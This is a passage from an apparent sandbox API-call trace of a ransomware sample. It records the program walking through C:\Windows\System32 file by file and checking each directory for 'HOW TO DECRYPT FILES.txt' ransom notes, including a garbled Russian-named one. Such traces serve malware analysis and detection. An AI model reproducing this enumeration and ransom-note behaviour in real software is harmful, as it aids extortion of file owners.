pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.773] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.773] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.773] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="doskey.exe" | out: lpString1="C:\\Windows\\System32\\doskey.exe") returned="C:\\Windows\\System32\\doskey.exe" [0144.773] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97bf66ff, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97bf66ff, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97c1c85f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="dot3api.dll", cAlternateFileName="")) returned 1 [0144.773] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.773] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dot3api.dll") returned 1 [0144.774] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dot3api.dll") returned 1 [0144.774] lstrcmpiA (lpString1="", lpString2="dot3api.dll") returned -1 [0144.774] PathFindFileNameA (pszPath="C:\\Windows\\System32\\doskey.exe") returned="doskey.exe" [0144.774] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.774] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.774] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.774] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.774] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dot3api.dll" | out: lpString1="C:\\Windows\\System32\\dot3api.dll") returned="C:\\Windows\\System32\\dot3api.dll" [0144.774] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86849123, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86849123, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86849123, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14200, dwReserved0=0x0, dwReserved1=0x0, cFileName="dot3cfg.dll", cAlternateFileName="")) returned 1 [0144.774] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.774] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dot3cfg.dll") returned 1 [0144.774] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dot3cfg.dll") returned 1 [0144.774] lstrcmpiA (lpString1="", lpString2="dot3cfg.dll") returned -1 [0144.774] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dot3api.dll") returned="dot3api.dll" [0144.774] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.774] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.774] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.774] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.775] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dot3cfg.dll" | out: lpString1="C:\\Windows\\System32\\dot3cfg.dll") returned="C:\\Windows\\System32\\dot3cfg.dll" [0144.775] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc242d4, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xecc242d4, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x898b41f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x0, dwReserved1=0x0, cFileName="dot3dlg.dll", cAlternateFileName="")) returned 1 [0144.775] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.775] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dot3dlg.dll") returned 1 [0144.775] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dot3dlg.dll") returned 1 [0144.775] lstrcmpiA (lpString1="", lpString2="dot3dlg.dll") returned -1 [0144.775] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dot3cfg.dll") returned="dot3cfg.dll" [0144.775] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.775] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.775] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.775] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.775] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dot3dlg.dll" | out: lpString1="C:\\Windows\\System32\\dot3dlg.dll") returned="C:\\Windows\\System32\\dot3dlg.dll" [0144.776] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed798c67, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xed798c67, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x898db2f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x0, dwReserved1=0x0, cFileName="dot3gpclnt.dll", cAlternateFileName="")) returned 1 [0144.776] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.776] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dot3gpclnt.dll") returned 1 [0144.776] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dot3gpclnt.dll") returned 1 [0144.776] lstrcmpiA (lpString1="", lpString2="dot3gpclnt.dll") returned -1 [0144.776] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dot3dlg.dll") returned="dot3dlg.dll" [0144.776] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.776] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.776] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.776] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.776] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dot3gpclnt.dll" | out: lpString1="C:\\Windows\\System32\\dot3gpclnt.dll") returned="C:\\Windows\\System32\\dot3gpclnt.dll" [0144.776] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01b306c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf01b306c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x898ffce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x40e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dot3gpui.dll", cAlternateFileName="")) returned 1 [0144.776] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.776] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dot3gpui.dll") returned 1 [0144.777] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dot3gpui.dll") returned 1 [0144.777] lstrcmpiA (lpString1="", lpString2="dot3gpui.dll") returned -1 [0144.777] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dot3gpclnt.dll") returned="dot3gpclnt.dll" [0144.777] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.777] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.777] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.777] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.777] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dot3gpui.dll" | out: lpString1="C:\\Windows\\System32\\dot3gpui.dll") returned="C:\\Windows\\System32\\dot3gpui.dll" [0144.777] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60f3593, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x60f3593, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x89926de0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x0, dwReserved1=0x0, cFileName="dot3hc.dll", cAlternateFileName="")) returned 1 [0144.778] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.778] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dot3hc.dll") returned 1 [0144.778] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dot3hc.dll") returned 1 [0144.778] lstrcmpiA (lpString1="", lpString2="dot3hc.dll") returned -1 [0144.779] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dot3gpui.dll") returned="dot3gpui.dll" [0144.779] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.779] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.779] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.779] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.779] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dot3hc.dll" | out: lpString1="C:\\Windows\\System32\\dot3hc.dll") returned="C:\\Windows\\System32\\dot3hc.dll" [0144.779] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97c1c85f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97c1c85f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97c1c85f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c200, dwReserved0=0x0, dwReserved1=0x0, cFileName="dot3msm.dll", cAlternateFileName="")) returned 1 [0144.779] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.779] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dot3msm.dll") returned 1 [0144.779] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dot3msm.dll") returned 1 [0144.779] lstrcmpiA (lpString1="", lpString2="dot3msm.dll") returned -1 [0144.779] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dot3hc.dll") returned="dot3hc.dll" [0144.779] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.779] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.780] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.780] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.780] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dot3msm.dll" | out: lpString1="C:\\Windows\\System32\\dot3msm.dll") returned="C:\\Windows\\System32\\dot3msm.dll" [0144.780] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e38bed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93e38bed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93e5ed4d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x51800, dwReserved0=0x0, dwReserved1=0x0, cFileName="dot3ui.dll", cAlternateFileName="")) returned 1 [0144.780] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.780] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dot3ui.dll") returned 1 [0144.780] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dot3ui.dll") returned 1 [0144.780] lstrcmpiA (lpString1="", lpString2="dot3ui.dll") returned -1 [0144.780] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dot3msm.dll") returned="dot3msm.dll" [0144.780] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.780] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.780] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.780] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.781] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dot3ui.dll" | out: lpString1="C:\\Windows\\System32\\dot3ui.dll") returned="C:\\Windows\\System32\\dot3ui.dll" [0144.781] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a67e5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3e2a67e5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x694059d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dpapimig.exe", cAlternateFileName="")) returned 1 [0144.781] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.781] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dpapimig.exe") returned 1 [0144.781] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dpapimig.exe") returned 1 [0144.781] lstrcmpiA (lpString1="", lpString2="dpapimig.exe") returned -1 [0144.781] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dot3ui.dll") returned="dot3ui.dll" [0144.781] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.781] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.781] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.781] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.782] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dpapimig.exe" | out: lpString1="C:\\Windows\\System32\\dpapimig.exe") returned="C:\\Windows\\System32\\dpapimig.exe" [0144.782] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1bda02d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe1bda02d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x899be3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dpapiprovider.dll", cAlternateFileName="")) returned 1 [0144.782] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.782] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dpapiprovider.dll") returned 1 [0144.782] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dpapiprovider.dll") returned 1 [0144.782] lstrcmpiA (lpString1="", lpString2="dpapiprovider.dll") returned -1 [0144.782] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dpapimig.exe") returned="dpapimig.exe" [0144.782] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.782] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.782] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.782] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.782] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dpapiprovider.dll" | out: lpString1="C:\\Windows\\System32\\dpapiprovider.dll") returned="C:\\Windows\\System32\\dpapiprovider.dll" [0144.783] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5619660b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x5619660b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6942a3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DpiScaling.exe", cAlternateFileName="")) returned 1 [0144.783] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.783] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DpiScaling.exe") returned 1 [0144.783] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DpiScaling.exe") returned 1 [0144.783] lstrcmpiA (lpString1="", lpString2="DpiScaling.exe") returned -1 [0144.783] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dpapiprovider.dll") returned="dpapiprovider.dll" [0144.783] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.783] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.783] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.783] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.783] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="DpiScaling.exe" | out: lpString1="C:\\Windows\\System32\\DpiScaling.exe") returned="C:\\Windows\\System32\\DpiScaling.exe" [0144.784] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf940697, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xbf940697, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x6942a3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="dplaysvr.exe", cAlternateFileName="")) returned 1 [0144.784] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.784] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dplaysvr.exe") returned 1 [0144.784] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dplaysvr.exe") returned 1 [0144.784] lstrcmpiA (lpString1="", lpString2="dplaysvr.exe") returned -1 [0144.784] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DpiScaling.exe") returned="DpiScaling.exe" [0144.784] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.784] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.784] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.784] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.784] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dplaysvr.exe" | out: lpString1="C:\\Windows\\System32\\dplaysvr.exe") returned="C:\\Windows\\System32\\dplaysvr.exe" [0144.784] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb99e37b8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xb99e37b8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x899be3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x34200, dwReserved0=0x0, dwReserved1=0x0, cFileName="dplayx.dll", cAlternateFileName="")) returned 1 [0144.785] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.785] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dplayx.dll") returned 1 [0144.785] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dplayx.dll") returned 1 [0144.785] lstrcmpiA (lpString1="", lpString2="dplayx.dll") returned -1 [0144.785] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dplaysvr.exe") returned="dplaysvr.exe" [0144.785] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.785] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.785] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.785] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.785] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dplayx.dll" | out: lpString1="C:\\Windows\\System32\\dplayx.dll") 